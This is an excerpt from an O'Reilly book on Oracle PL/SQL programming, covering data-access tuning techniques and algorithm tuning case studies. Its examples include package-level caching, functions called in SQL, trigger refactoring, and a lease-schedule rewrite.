Oracle PL/SQL Programming, 2nd EditionSearch this book

25.3 Tuning Access to Your Data

Much of the tuning you do will attempt to optimize the way PL/SQL programs manipulate data in the Oracle database, both queries and DML (updates, inserts, deletes). Lots of the issues here involve tuning SQL statements, and I am not even going to attempt to show you how to tune SQL (definitely not my strong suit). There are certainly steps you can take, though, in your PL/SQL code and environment to improve the performance of even an optimally constructed chunk of SQL.

25.3.1 Use Package Data to Minimize SQL Access

When you declare a variable in a package body or specification, its scope is not restricted to any particular procedure or function. As a result, the scope of package-level data is the entire Oracle session, and the value of that data persists for the entire session. Take advantage of this fact to minimize the times you have to access data from the SQL layer. Performing lookups against structures located in your own Program Global Area (PGA) is much, much faster than going through the SGA -- even if the data you want is resident in shared memory.

This tip will come in handy most when you find that your application needs to perform multiple lookups which do not change during your session. Suppose, for example, that one of your programs needs to obtain a unique session identifier to avoid overlaps with other sessions. One of the ways to do this is to call DBMS_LOCK.ALLOCATE_UNIQUE to retrieve a unique lockname. Here is the inefficient way to do this: I need the ID or lockname in the calc_totals procedure. So I make the call to the built-in package right inside the procedure:

PROCEDURE calc_totals
IS
   v_lockname VARCHAR2(100);
BEGIN
   v_lockname := DBMS_LOCK.ALLOCATE_UNIQUE;

   /* Use the lock name to issue a request for data. */
   send_request (v_lockname);

   . . .
END;

The problem with this approach is that every time calc_totals is called, the built-in function is also called to get the unique value -- a totally unnecessary action. After you get it the first time, you needn't get it again.

Packages provide a natural repository for these "session-level" pieces of data. The following sesspkg (session package) defines a variable to hold the lock name and then assigns it a value on initialization of the package:

PACKAGE sesspkg
IS
   lockname CONSTANT VARCHAR2(100) := DBMS_LOCK.ALLOCATE_UNIQUE;
END;

Now the calc_totals procedure can directly reference the package global in its call to send_request. The first time calc_totals is called, the sesspkg package is instantiated and the built-in function called. All subsequent calls to calc_totals within that session will not, however, result in any additional processing inside sesspkg. Instead, it simply returns the value resident in the constant.

PROCEDURE calc_totals
IS
BEGIN
   /* Use the lock name to issue a request for data. */
   send_request (sesspkg.lockname);
END;

You can apply a similar technique for lookups against database tables -- both persistent and session-based. In the following example, the SELECT from v$parameter will be executed only once per session, regardless of how many times the db_name function is executed. Since the database name will never change during the session, this is reasonable. Note also the judicious use of a function with side effects, where one side effect (modification of a persistent package variable) is used to gain the efficiency:

/* Filename on companion disk: dbdata.spp */

CREATE OR REPLACE PACKAGE db_data
IS
   /* function to return the name of the database */
   FUNCTION db_name RETURN VARCHAR2;
END db_data;
/
CREATE OR REPLACE PACKAGE BODY db_data
IS
   /* DB_name variable only manipulated by this function */
   v_db_name  VARCHAR2(8) := NULL;

   /* function to return the name of the database */
   FUNCTION db_name RETURN VARCHAR2
   IS
   BEGIN
      IF v_db_name IS NULL
      THEN
         SELECT SUBSTR(value,1,8) INTO v_db_name
           FROM v$parameter
          WHERE name = `db_name';
      END IF;
      RETURN v_db_name;
   END db_name;
END db_data;

NOTE: You will need to have access to the v$parameter table granted to you from SYS if you want to compile and use this package outside of the SYS account.

For a final example of using package data to reduce SQL I/O and improve performance, Chapter 10, PL/SQL Tables, shows how you can use a PL/SQL table stored in a package to "remember" values which have already been queried in that session. If the value is in the PL/SQL table, the function returns that value. If not, it retrieves the value from the database table and, before returning the value, stores it in the PL/SQL table.

25.3.2 Call PL/SQL Functions in SQL to Reduce I/O

Chapter 17, Calling PL/SQL Functions in SQL, explains how to create and place functions inside SQL statements. There are many advantages to this approach, which can result in cleaner, easier to read SQL and performance improvements. The following example illustrates the use of packaged functions in SQL to minimize I/O in a SQL query (and thereby to improve performance); it also takes advantage of persistent package data to minimize data access.

Suppose we are given a table of address information, primary-keyed by a unique system-generated identifier as follows:

CREATE TABLE  addresses
   (id  NUMBER  NOT NULL PRIMARY KEY
   ,street VARCHAR2(200)
   ,city VARHAR2(200)
   ,state CHAR(2)
   ,ZIP VARCHAR2(20))
/

Suppose also that we have a complex view joining several tables and that one or more columns may contain address identifiers (or be NULL) and that we want to join in a single address according to some prioritization:

CREATE VIEW termination_notices
    (customer_id  NUMBER
    ,termination_reason VARCHAR2(10)
    ,customer_addr_id NUMBER
    ,employer_addr_id NUMBER)
AS
   SELECT ...
/

We want to assemble a new view (or PL/SQL cursor) which will de-reference one of the address ids as follows:

IF customer_addr_id IS NOT NULL
THEN
    use that address
ELSIF spouse_addr_id IS NOT NULL
THEN
    use that address
ELSE
    no address
END IF;

We can create a new view to meet these requirements using UNIONed SELECTs each joining in different addresses, but this will be very complex and could involve multiple scans through the termination_notices view. Another possibility is to use PL/SQL functions to provide address lookups and then include these functions directly in the new view or cursor SELECT statement. One possible problem with this approach is that since we will want to provide all elements of the address in multiple columns, we are in danger of doing address lookups four times per row (once for each column of the addresses table). This can be avoided by making use of the persistent state of package variables:

CREATE OR REPLACE PACKAGE address_info
IS
   /* these are the functions we will call in SQL */
   --
   FUNCTION streetaddr(addr_id_IN IN address.id%TYPE)
      RETURN address.street%TYPE;
   PRAGMA RESTRICT_REFERENCES (streetaddr,WNDS);
   --
   FUNCTION cityaddr(addr_id_IN IN address.id%TYPE)
      RETURN address.city%TYPE;
   PRAGMA RESTRICT_REFERENCES (cityaddr,WNDS);
   --
   FUNCTION stateaddr(addr_id_IN IN address.id%TYPE)
      RETURN address.state%TYPE;
   PRAGMA RESTRICT_REFERENCES (stateaddr,WNDS);
   --
   FUNCTION zipaddr(addr_id_IN IN address.id%TYPE)
      RETURN address.ZIP%TYPE;
   PRAGMA RESTRICT_REFERENCES (zipaddr,WNDS);
   --
END address_info;
/
CREATE OR REPLACE PACKAGE BODY address_info
IS
   /* curr_addr_rec is maintained by load_addr procedure */
   curr_addr_rec   address%ROWTYPE;
   --
   /* procedure to load curr_addr_rec by id            */
   PROCEDURE load_addr(addr_id_IN IN address.id%TYPE)
   IS
   null_addr_rec   address%ROWTYPE;
   BEGIN
      IF curr_addr_rec.id != addr_id_IN OR curr_addr_rec.id IS NULL
      THEN
         SELECT *
           INTO curr_addr_rec
           FROM address
          WHERE id = addr_id_IN;
      END IF;
   EXCEPTION
      WHEN NO_DATA_FOUND THEN curr_addr_rec := null_addr_rec;
   END load_addr;
   --
   /* functions which return components of curr_addr_rec */
   FUNCTION streetaddr(addr_id_IN IN address.id%TYPE)
      RETURN address.street%TYPE
   IS
   BEGIN
      load_addr(addr_id_IN);
      RETURN curr_addr_rec.street;
   END streetaddr;
   --
   FUNCTION cityaddr(addr_id_IN IN address.id%TYPE)
      RETURN address.city%TYPE
   IS
   BEGIN
      load_addr(addr_id_IN);
      RETURN curr_addr_rec.city;
   END cityaddr;
   --
   FUNCTION stateaddr(addr_id_IN IN address.id%TYPE)
      RETURN address.state%TYPE
   IS
   BEGIN
      load_addr(addr_id_IN);
      RETURN curr_addr_rec.state;
   END stateaddr;
   --
   FUNCTION zipaddr(addr_id_IN IN address.id%TYPE)
      RETURN address.ZIP%TYPE
   IS
   BEGIN
      load_addr(addr_id_IN);
      RETURN curr_addr_rec.ZIP;
   END zipaddr;
   --
END address_info;
/

Following is a version of the view built upon this package which gives us the addresses to which to mail termination notices.

CREATE VIEW termination_notice_mailing
IS
SELECT  customer_id
,DECODE(customer_addr_id,NULL,
                 DECODE(employer_addr_id,NULL,TO_CHAR(NULL)
                           ,address_info.streetaddr(employer_addr_id))
               ,address_info.streetaddr(customer_addr_id) )
        street
,DECODE(customer_addr_id,NULL,
                 DECODE(employer_addr_id,NULL,TO_CHAR(NULL)
                            ,address_info.cityaddr(employer_addr_id))
               ,address_info.cityaddr(customer_addr_id) )
        city
,DECODE(customer_addr_id,NULL,
                 DECODE(employer_addr_id,NULL,TO_CHAR(NULL)
                            ,address_info.stateaddr(employer_addr_id))
               ,address_info.stateaddr(customer_addr_id) )
        state
,DECODE(customer_addr_id,NULL,
                 DECODE(employer_addr_id,NULL,TO_CHAR(NULL)
                            ,address_info.zipaddr(employer_addr_id))
               ,address_info.zipaddr(customer_addr_id) )
        ZIP
 FROM termination_notices;

Notice that the DECODEs handle the prioritization of which address to use based on whether customer_addr_id and employer_addr_id are NULL. Notice also that the package ensures that we will hit the address table at most once per row selected. Certainly this is still a complex view, but we only have to scan the termination_notices view once, and we join in the correct address only when we need it.

As you can see, taking full advantage of all of this technology to improve performance doesn't always result in very attractive code. When you are faced with programs that do not meet minimal requirements, however, you must be ready to abandon elegance and even (as a last resort) simplicity to get the job done.

25.3.3 Avoid Client-Side SQL

Set as a goal for yourself or your entire development team that no one ever places a chunk of SQL code on the client side of the divide. Why? Because if you put all SQL or data access inside stored code in the database you get the following:

  • You are much more likely to share that same SQL across multiple programs or even applications. This will result in a higher percentage of shared, preparsed SQL.

  • Multiple SQL statements can be batched together into a single procedure or function, so that a single network access kicks off a sequence of SQL activity on the server without unnecessary network traffic.

Objections to this advice are often raised by Oracle Developer/2000 developers. When you create a form in Oracle Forms, the base table block takes care of an awful lot of the required SQL, including some very complex locking mechanisms. Am I saying that you should abandon all of that "automatic" stuff and write a large volume of code? Definitely not (though with Oracle Developer/2000 Release 2 you will be able to build "base table blocks" around stored procedures and functions instead of using tables). I would strongly recommend, though, that the only SQL you allow in your Oracle Forms modules is the stuff generated automatically for you.

You should most certainly never write POST-QUERY triggers (as an example) which contain multiple SELECT statements to do foreign key lookups. This is the most common place for additional SQL to show up in a form. Your tables are wonderfully normalized and you must, therefore, translate a key into a descriptor for display purposes. How do you do this? In the POST-QUERY trigger, you issue implicit SELECT after implict SELECT to get the data. Your trigger then looks like this:

BEGIN
   SELECT dept_name INTO :emp.dname
     FROM department
    WHERE dept_id = :emp.deptid;

   SELECT title_name INTO :emp.tname
     FROM titles
    WHERE title_id = :emp.title_id;

   /* and so on and so on... */
END;

This is very bad news for at least two reasons: First, chances are that you have this same or similar code in some other program. Surely this can't be the only place you look up a department name from a department ID. Second, you are forcing lots of unnecessary network activity.

Ideally, you should consolidate all the parts of your POST_QUERY triggers that contain SQL statements into a single procedure, preferably inside a package, as shown here:

BEGIN
   emppkg.lookups (:emp.deptid, :emp.dname, :emp.title_id, :emp.tname);
END;

The emppkg.lookups procedure bundles together each of the different foreign key lookups, which means that it requires just one network call to get the job done.

25.3.4 Take Advantage of DBMS_SQL Batch Processing

The PL/SQL8 version of DBMS_SQL allows you to perform bulk updates, inserts, deletes, and queries. The new version of this handy package (which allows for the execution of dynamic SQL and dynamic PL/SQL inside PL/SQL programs) offers the following programs to support "array processing":

DBMS_SQL. DEFINE_ARRAY

This procedure allows you to associate a column in a cursor with a PL/SQL table. When you fetch from the cursor, you will be able to dump a specified number of values from multiple rows into that PL/SQL table.

DMBS_SQL. BIND_ARRAY

This procedure allows you to bind multiple values from a PL/SQL table to a DML statement, so that you can, say, insert 100 rows in a single call to DBMS_SQL.EXECUTE, instead of having to make 100 calls to this function.

See Oracle Built-in Packages for more information on this feature. It is the closest you can get to true array processing for SQL inside a PL/SQL program.

25.3.5 Avoid Procedural Code When Possible

Compared to Oracle SQL, PL/SQL is a slow language when it comes to processing SQL statements. So whenever possible, you should take advantage of set-oriented SQL statements instead of row-at-a-time cursor processing in PL/SQL. Consider the following block of code:

DECLARE
   CURSOR table_X_cur
   IS
      SELECT column_A,column_B,column_C
        FROM table_X
         FOR UPDATE of column_A;
   table_X_rec table_X_cur%ROWTYPE;
BEGIN
   OPEN table_X_cur;
   FETCH table_X_cur INTO table_X_rec;
   WHILE table_X_cur%FOUND
   LOOP
      UPDATE table_X
         SET column_A = table_X_rec.column_B * table_X_rec.column_C
       WHERE CURRENT OF table_X_cur;
      FETCH table_X_cur INTO table_X_rec;
   END LOOP;
   CLOSE table_X_cur;
END;

You can replace all of that stuff with this single UPDATE statement:

UPDATE table_X  SET column_A = column_B * column_C;

I hope you will find this tip to be self-evident; you would never be tempted to write a whole bunch of PL/SQL code when a simple UPDATE statement would suffice! It is worth the reminder, however, because as we spend more and more of our time cranking out PL/SQL code, we can easily lose perspective. We might find ourselves trying to do everything in PL/SQL and forget about our other options.

25.3.6 Use PL/SQL to Improve Performance of IO-Intensive SQL

Now that I have finished telling you to use SQL whenever possible and avoid PL/SQL, it is time to urge you to use PL/SQL, particularly explicit cursors, to improve the performance of some types of SQL statements. Go figure!

Actually, it shouldn't be the least bit confusing. SQL is optimized for set-at-a-time processing. PL/SQL is designed for record-at-a-time logic. If your interaction with the database always occurs on an entire set, or between more than one set related through equi-joins, SQL is the obvious choice. If your requirements dictate that you must perform procedural-style logic on the data in order to produce the desired result, PL/SQL could have a dramatic impact on the performance of your program.

A good indicator of the potential for improvement with PL/SQL is the presence of a correlated sub-query. Consider the following query, which displays the department name followed by the name of the employee who receives the highest salary in that department:

SELECT 'Top employee in ' || D.name || ' is ' ||
         E.last_name || ', ' || E.first_name
  FROM department D, employee E
 WHERE D.department_id = E.department_id
   AND E.salary = (SELECT MAX (salary)
                     FROM employee E2
                    WHERE E2.department_id = E.department_id);

The records retrieved by the inner SELECT statement (which calculates the maximum salary for a department) is correlated to the department ID of the outer employee record. The maximum salary for a department is therefore calculated again and again for each employee record in the outer query. If the company has five departments and 1000 employees in those five departments, then the query will perform 1000 subqueries. Yet the maximum salary really needs to be computed only five times, once per department.

You can use PL/SQL and a cursor FOR loop to cut to a minimum the number of times the department maximum is calculated. The resulting execution time will be greatly reduced, especially for large numbers of records in the employee table:

PROCEDURE display_best_paid IS
/*
|| Display the name of the employee who makes the highest salary
|| in each department.
*/
   -- Cursor for each department (and its max salary) in the company.
   CURSOR dept_cur IS
      SELECT D.department_id, name, MAX (salary) max_salary
        FROM department D, employee E
       WHERE D.department_id = E.department_id
       GROUP BY D.department_id
       ORDER BY name;
BEGIN
   <<dept_loop>>
   FOR dept_rec IN dept_cur
   LOOP
      DECLARE
         CURSOR emp_cur IS
            SELECT last_name || ', ' || first_name emp_name
              FROM employee
             WHERE department_id = dept_rec.department_id
               AND salary = dept_rec.max_salary;
         emp_rec emp_cur%ROWTYPE;
      BEGIN
         OPEN emp_cur;
         FETCH emp_cur INTO emp_rec;
         DBMS_OUTPUT.PUT_LINE
            ('Top employee in ' || dept_rec.name || ' is ' ||
             emp_rec.emp_name);
         CLOSE emp_cur;
      END;
   END LOOP <<dept_loop>>;
END;

With the cursor FOR loop approach, the maximum salary is calculated once for each department through the use of a GROUP BY. This value is then used inside the loop to find the first employee whose salary matches the maximum. This program performs several hundred fewer logical reads than the correlated subquery version.

This technique also comes in handy when you have a very complex SQL statement involving a large number of tables. The rules-based optimizer -- still used widely in Oracle shops around the world -- does not use table size to determine which indexes should be applied to a query. So, for example, if you have a very small table in the query included to look up a description for a code, the optimizer might use the index on that table and ignore a much more useful index in a larger table. You can help avoid confusion and, at the same time, improve performance of the query by pulling that reference table out of the query and placing it in its own cursor. Your program then executes the cursor and fetches the description before the main query executes. You then reference the retrieved value directly in the query and simplify the main query.

25.3.7 Keep Database Triggers Small

Up until Oracle7 Server Release 7.1, database triggers are treated like anonymous blocks of code in the System Global Area (SGA). Compiled versions of triggers are not stored in the database. Instead, the source code is recompiled each time the trigger is referenced.

To minimize the overhead associated with these repeated compilations, you should keep your database triggers as small as possible. You should also tune your shared pool size so that it can accommodate most, if not all, of your compiled PL/SQL code without having to age out objects which are used repeatedly.

The best way to keep your triggers small is to transfer all of the procedural logic in the trigger to a procedure. This procedure's compiled version is stored in the database and can be managed more efficiently by the instance's SGA.

To change your trigger code to a procedure call, you move all of the code inside the procedure and create a parameter for each trigger-specific variable referenced in the code (such as :new and :old variables, which allow you to compare new and old values for columns in the affected row).

Let's convert a trigger's complex logic to a procedure. In the following trigger, I maintain a denormalized order total based on the line items for that order. This single trigger handles any changes to the line item amount, through an INSERT, UPDATE, or DELETE:

CREATE TRIGGER total_order
AFTER INSERT OR UPDATE OR DELETE OF line_amt ON line_item
FOR EACH ROW
BEGIN
   /*
   || If changed order for this line item or removing it,
   || then decrease the total in the old order.
   */
   IF (UPDATING AND :old.order_id != :new.order_id) OR DELETING
   THEN
      UPDATE orders
         SET order_total := order_total - :old.line_amt
       WHERE order_id = :old.order_id;
   END IF;
   /*
   || If a new line item or transferring line item to new order,
   || add the line amount to the new order.
   */
   IF (UPDATING AND :old.order_id != :new.order_id) OR INSERTING
   THEN
      UPDATE orders
         SET order_total := order_total + :new.line_amt
       WHERE order_id = :new.order_id;
   END IF;
   /*
   || If I have changed the amount of the line item and kept it
   || in the same order, adjust total by difference of old and
   || new line item amounts.
   */
   IF :old.order_id = :new.order_id AND
      :old.line_amt != :new.line_amt AND
      UPDATING
   THEN
      UPDATE orders
         SET order_total := order_total - :old.line_amt + :new.line_amt
       WHERE order_id = :new.order_id;
   END IF;
END;

Before I write the procedure, let's decide on the specification for the procedure -- that is, what the trigger should look like inside:

CREATE TRIGGER total_order
AFTER INSERT OR UPDATE OR DELETE OF line_amt ON line_item
FOR EACH ROW
BEGIN
   adjust_order_total
      (:old.order_id, :old.line_amt, :new.order_id, :new.line_amt,
       INSERTING, UPDATING, DELETING);
END;

The adjust_order_total contains many parameters, since it is a combined trigger (handling all three DML states: INSERT, UPDATE, and DELETE) and also references the new and old values of two different columns. With this specification, I can now create the procedure as a direct "translation" from the trigger:

PROCEDURE adjust_order_total
      (old_order_id_in IN orders.order_id%TYPE,
       old_line_amt_in IN line_item.line_amt%TYPE,
       new_order_id_in IN orders.order_id%TYPE,
       new_line_amt_in IN line_item.line_amt%TYPE,
       inserting_in IN BOOLEAN,
       updating_in IN BOOLEAN,
       deleting_in IN BOOLEAN)
BEGIN
   /*
   || If changed order for this line item or removing it,
   || then decrease the total in the old order.
   */
   IF (updating_in AND old_order_id_in != new_order_id_in)
        OR deleting_in
   THEN
      UPDATE orders
         SET order_total := order_total - old_line_amt_in
       WHERE order_id = old_order_id_in;
   END IF;
   /*
   || If a new line item or transferring line item to new order,
   || add the line amount to the new order.
   */
   IF (updating_in AND old_order_id_in != new_order_id_in) OR
        inserting_in
   THEN
      UPDATE orders
         SET order_total := order_total + new_line_amt_in
       WHERE order_id = new_order_id_in;
   END IF;
   /*
   || If I have changed the amount of the line item and kept it
   || in the same order, adjust total by difference of old and
   || new line item amounts.
   */
   IF old_order_id_in = new_order_id_in AND
      old_line_amt_in != new_line_amt_in AND
      updating_in
   THEN
      UPDATE orders
         SET order_total :=
               order_total - old_line_amt_in + new_line_amt_in
       WHERE order_id = new_order_id_in;
   END IF;
END;

By converting the trigger code to a procedure, I have not made the code more readable, nor is it more concise. The point of this conversion was, however, simply to improve transaction performance.

Finally, even if you are running Oracle Server 7.3 or above, you should still keep your trigger code to a minimum and instead place as much of your logic as possible in packages so that this code can be more easily reused throughout your application.

Previous: 25.2 Tuning Access to Compiled Code | Oracle PL/SQL Programming, 2nd Edition | Next: 25.4 Tuning Your Algorithms
25.2 Tuning Access to Compiled Code | Book Index | 25.4 Tuning Your Algorithms
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 25] 25.4 Tuning Your Algorithms

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

25.4 Tuning Your Algorithms

Tuning algorithms is a very application-specific activity. There is no general rule to be applied, and I have no generic tips. Instead, in this section I offer two "case studies" of tuning exercises I performed on some real-world code. Following those explorations are more general suggestions for writing optimized PL/SQL code.

25.4.1 There Are No Sacred Cows

In many places in this book, I recommend that you follow the principle of top-down design in building your applications and even single modules. This step-by-step process almost guarantees that you will come up with the most modular, logical solution to your problem. Unfortunately, that solution may not always be the most efficient performer. In such situations, you need to be ready to switch gears, tear down what you have built, and reconstruct it to improve performance.

In other words, you must be creative and, in some cases, even take a counter-intuitive approach to achieve the required performance levels in your application. Do not hang onto code just because you happened to have stayed up too late too many nights in a row to get it "just right." If it doesn't do the job, don't hesitate to scrap your implementation and try again.

Consider the build_pv_lease_schedule procedure shown below:

PROCEDURE build_pv_lease_schedule
/* Construct present value lease schedule over 20 years. */
IS
   /* Temporary variable to hold lease accumulation. */
   pv_total_lease NUMBER(9);
   /* Table structure to hold the lease accumulations. */
   TYPE pv_table_type IS TABLE OF NUMBER(9) INDEX BY BINARY_INTEGER;
   pv_table pv_table_type;
BEGIN
   FOR year_count in 1 .. 20
   LOOP
      /* Reset the lease amount for this year. */
      pv_total_lease := 0;
      /*
      || Build the PV based on the remaining years
      || plus the fixed and variable amounts.
      */
      FOR year_count2 in year_count..20
      LOOP
         /* Add annual total lease amount to cummulative. */
         pv_total_lease :=
            pv_total_lease +
            pv_of_fixed (year_count2) +
            pv_of_variable (year_count2);
      END LOOP;
      /* Add the annual PV to the table. */
      pv_table (year_count) := pv_total_lease;
   END LOOP;
END;

This module constructs a schedule of lease payments for a store and saves them in a PL/SQL table. For each of 20 years, the lease amount is calculated as the sum of lease amounts for the remaining years. The total lease for year 10, in other words, would consist of the lease amounts (fixed and variable) for years 10 through 20. The procedure reflects this logic directly and simply with nested loops:

FOR year_count IN 1 .. 20
LOOP
   FOR year_count2 IN year_count .. 20
   LOOP
      ... computation ...
   END LOOP;
END LOOP;

The build_pv_lease_schedule procedure is clean, direct, and to the point. The only problem with this code it that it took six seconds to calculate the 20 values in the lease schedule. This was simply too long a time, combined as it was with several other operations. A new approach was needed and I was asked to come up with alternatives.

One reason that I was brought in to perform the review is that it can be very difficult for a program's author to be creative about new ways of doing things. I have found that once I write something, once I feel I have reached a resolution, and once I see it in a printout, that particular approach entraps me, limiting my vision.

The nested loop technique was such a natural fit for this algorithm that it took an outsider to break away from this construct to tune the code. Now that you have seen this technique, can you see a more efficient way to perform this calculation?

My first step in analyzing and correcting the procedure was to be aware of just how many computations the program performed to come up with its answer. For each of the 20 years, the inner loop performs 20-N +1 calculations. So over 20 years, the nested loop performs:

20 + 19 + 18 + ... + 3 + 2 + 1 = 210 calculations of annual lease amounts

to come up with the 20 accumulated lease amounts. Well, that's a lot of activity! No wonder it takes six seconds. The question in my mind then became: are all these calculations necessary? They would certainly all be required if each computation were unique, that is, not repeated during the nested loop execution. This is not, however, the case. In fact, many of the computations are exactly the same. For year 1, I calculate the annual lease amounts for years 1 through 20 to produce the year 1 accumulation. For year 2, I calculate the annual lease amount for years 2 through 20, and so on. For each year N, in other words, I calculate the annual lease amount for that year N times. Furthermore, within each execution of the inner loop, I am simply summing up the annual lease amounts for the subset of the full 20 years, as shown here:

Outer Loop Year Number | Years Over Which Lease Amounts are Summed in Inner Loop
1 | Year 1 + Year 2 + ... + Year 20
2 | Year 2 + ... + Year 20
... |
18 | Year 18 + Year 19 + Year 20
19 | Year 19 + Year 20
20 | Year 20

From this table you can see that the difference between the total amount for year N and the total amount for year N-1 is the lease amount for year N. Starting with year 1, it then becomes clear that the total lease amounts are all reductions from that year 1 total. From this understanding, I found that I could generate the accumulated lease amounts for each year by substracting from the full 20-year accumulation, rather than having to build it up each time anew.

With this approach, I would build my lease schedule in two phases: first, for each year, calculate the annual lease amount and save that value. Simultaneously, add that value to the 20-year accumulation. In pseudo-code I have:

FOR year_count IN 1 .. 20
LOOP
   save annual lease amount
   add annual lease amount to 20-year accumulated total
END LOOP;

Once I have my 20-year accumulation and my 20 individual annual lease amounts, I can produce the 19 other accumulations as follows:

copy 20-year total to accumulated total variable
FOR year_count IN 2 .. 20
LOOP
   subtract annual lease amount from accumulated total
   save difference to PL/SQL table
END LOOP;

In other words, for year 2, subtract the annual lease amount of year 2 from the 20-year total. This is the 19-year accumulation. For year 3, subtract the annual lease amount of year 3 from the 19-year total. This is the 18-year accumulation. And so on.

With this approach, shown in full PL/SQL glory below, I perform only 20 lease computations and then another 20 simple subtractions, down from 210 lease computations:

PROCEDURE build_pv_lease_schedule
IS
   pv_total_lease NUMBER(9) := 0;
   TYPE pv_table_type IS TABLE OF NUMBER(9) INDEX BY BINARY_INTEGER;
   pv_table pv_table_type;
BEGIN
   /*
   || Build the 20-year accumulated total and save each
   || of the annual lease amounts to the PL/SQL table. Notice that
   || pv_table (N) is set to the annual lease amount for year N-1.
   */
   FOR year_count in 1 .. 20
   LOOP
      one_year_pv :=
         pv_of_fixed (year_count) + pv_of_variable (year_count);
      pv_total_lease := pv_total_lease + one_year_pv;
      IF year_count < 20
      THEN
         pv_table (year_count+1) := one_year_pv;
      END IF;
   END LOOP;

   /* Save the 20-year total in the first row. */
   pv_table (1) := pv_total_lease;

   /* For each of the remaining years... */
   FOR year_count IN 2 .. 20
   LOOP
      /* Subtract the annual amount from the remaining total. */
      pv_total_lease := pv_total_lease - pv_table (year_count);
      /*
      || Save the Nth accumulation to the table (this writes right
      || over the annual lease amount, which is no longer needed.
      || I get double use out of the pv_table in this way.
      */
      pv_table (year_count) := pv_total_lease;
   END LOOP;
END;

By converting the nested loop to a sequence of two distinct loops, I cut down the elapsed time of this procedure from six seconds to three seconds. Both approaches produce the same number. The first technique was the more obvious and straightforward of the two. It did not, however, minimize the amount of effort required to produce the computations. It took careful analysis and rewriting both to preserve the correct values and to optimize the performance.

One should never underestimate the value of code review. In the process of having this chapter reviewed, both Eric Givler and Kannan Muthukkaruppan were quick to point out an even simpler and faster solution to this problem:

PROCEDURE build_pv_lease_schedule
IS
   pv_total_lease number(9) := 0;
   one_year_pv number(9) := 0;
   type pv_table_type IS TABLE OF NUMBER(9) INDEX BY BINARY_INTEGER;
   pv_table pv_table_type;
BEGIN
   FOR year_count IN REVERSE 1..20
   LOOP
      one_year_pv := pv_of_fixed(year_count) +
                     pv_of_variable(year_count);
      pv_total_lease := pv_total_lease + one_year_pv;
      pv_table (year_count) := pv_total_lease;
   END LOOP;
END build_pv_lease_schedule;

I was at first resistant to accepting that this use of a REVERSE FOR LOOP gets the job done. Eric, fortunately, did not give up and finally I was convinced. You just start from the last year and go backwards accumulating the values, completely eliminating the need for two different loops and much extraneous processing!

25.4.2 Zen and the Art of PL/SQL Tuning

My search for excellence and quality in PL/SQL coding takes me to many strange and wonderful places on our spanking-new virtual planet. It presents me with a myriad of challenges that can simultaneously make me despair of my fellow humans and also wonder at their capacity for renewal and creativity. In this section I share with you a journey of discovery I took in the arena of PL/SQL tuning.

It all started with a call from a valued customer and a very common opening line. "Steven," the gravely, despairing voice of Dave came over the line, "we've got a problem." Company X was massaging large volumes of data on a daily basis (an Oracle-to-Oracle conversion of gigabytes, actually, which involved a parse and denormalization of data to aid in query performance). The PL/SQL code used to perform the conversion was a bottleneck (or maybe the bottleneck was related to a limitation of the 24 hours normally encountered in each day).

When Dave first explained to me that his program parsed strings, I felt immediately certain that there would be many opportunities for improvement. PL/SQL string manipulation is, shall we say, not lightning fast. Furthermore, there are usually a number of paths one can take to meet the same requirements. Not all are equally desirable. When a particular action or program is performed thousands, or perhaps millions, of times, in a single pass of data, an improvement of even 10% in a low-level program can make a big difference.

Had Dave's developers chosen the highest quality route? It was time to find out.

I scanned the body of the main stored procedure. Deep within a series of nested loops, I encountered the following statement:

IF NOT is_number (stg)
THEN
   stg := remove_punctation (stg);
END IF;

In other words, if the current token was not a number, then remove the punctuation from the token. Straightforward enough -- on the surface, anyway.

Now, this "is_number" function sounded like a PL/SQL built-in. Having written a book on PL/SQL, however, I knew immediately that is_number is not provided by Oracle, so instead it must be a low-level operator built by a developer at Company X. Since this function might be executed 20 or 30 million times a day, I decided it was as good a place as any to start. The following function shows the implementation of is_number I found stored in the database:

FUNCTION is_number (word_in IN VARCHAR2) RETURN BOOLEAN
IS
   BOOL_RC          boolean;
   ASCII_CHAR_VAL   number;
   WORD_LENGTH      number;
   CHAR_POS         number;
BEGIN
   BOOL_RC := TRUE;
   WORD_LENGTH := LENGTH(WORD_IN);
   for CHAR_POS in 1..WORD_LENGTH loop
      ASCII_CHAR_VAL := ASCII(SUBSTR(WORD_IN, CHAR_POS, 1));
      if  ASCII_CHAR_VAL < 48 or ASCII_CHAR_VAL > 57
          and  ASCII_CHAR_VAL != 46 then
         BOOL_RC := FALSE;
         return BOOL_RC;
      end if;
   end loop;
   return BOOL_RC;
END is_number;

Granted, the programmer did not use my conventions for spacing within lines, line breaks, UPPER-lower case style, and the use of the RETURN statement. He even declared char_pos, which is unnecessary and dangerous, since it is actually the index variable of the FOR LOOP and is therefore implicitly declared by PL/SQL. I was ready to look past that, however, and focus on the inner life of the program: its logical flow. Here is what I found is_number doing:

For each of the N characters in a string, isolate that character using SUBSTR and see if it is a digit or a period.

The programmer made use of the ASCII function to convert the character to its ASCII collating sequence number, and then checked to see if that value fell within the allowable range of values. If you are like me, you would also have broken out into a cold sweat. Where the heck could I get a copy of the ASCII collating sequence to verify the numbers in that program? Whoa! Why scan a book when you have PL/SQL? I quickly knocked out the following SQL*Plus script to spit out all the information I needed to know:

BEGIN
   FOR let_index IN &1 .. &2
   LOOP
      DBMS_OUTPUT.PUT_LINE ('Ascii ' ||
             TO_CHAR (let_index) ||
             ' = ' ||
             CHR (let_index));
   END LOOP;
END;

CHR is a built-in function which converts a number in the ASCII collating sequence to a character (the reverse of ASCII). Naming this script showasci.sql, I executed it as follows and got the output shown below:

SQL> start showasci 46 58
Ascii 46 = .
Ascii 47 = /
Ascii 48 = 0
Ascii 49 = 1
Ascii 50 = 2
Ascii 51 = 3
Ascii 52 = 4
Ascii 53 = 5
Ascii 54 = 6
Ascii 55 = 7
Ascii 56 = 8
Ascii 57 = 9
Ascii 58 = :

Who needs a printed chart, right? So far as I could tell, then, the programmer got it right. A number should not have any character whose ASCII value is not 46 or 48 through 57.

I had now completed the first stage of my journey: the is_number function seemed to do its job. This is a necessary, but not sufficent, condition for a successful module. I took a deep breath and a large, double-strength latte (Company X being in the Pacific Northwest), and prepared to grapple with a deeper question: Was this implementation of is_number the best possible implementation?

